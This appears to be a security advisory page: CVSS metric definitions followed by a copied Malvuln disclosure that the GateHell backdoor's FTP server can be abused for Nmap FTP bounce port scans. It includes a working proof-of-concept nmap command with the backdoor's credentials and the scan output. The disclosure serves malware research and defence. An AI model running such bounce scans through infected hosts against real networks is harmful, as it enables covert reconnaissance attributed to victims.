The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Backdoor.Win32.GateHell.21 / Port Bounce Scan
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/5aa81ddc996be64116754efac0e4f55d_B.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.GateHell.21
Vulnerability: Port Bounce Scan
Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Family: GateHell
Type: PE32
MD5: 5aa81ddc996be64116754efac0e4f55d
Vuln ID: MVID-2022-0560
Disclosure: 04/18/2022
Exploit/PoC:
C:\>nmap -n -Pn -b malvuln:[email protected]:5301 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-18 12:46 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://malvuln:[email protected]:5301
Connected:220 ICS FTP Server ready.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 12:46
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 12:46, 2.11s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.24 seconds
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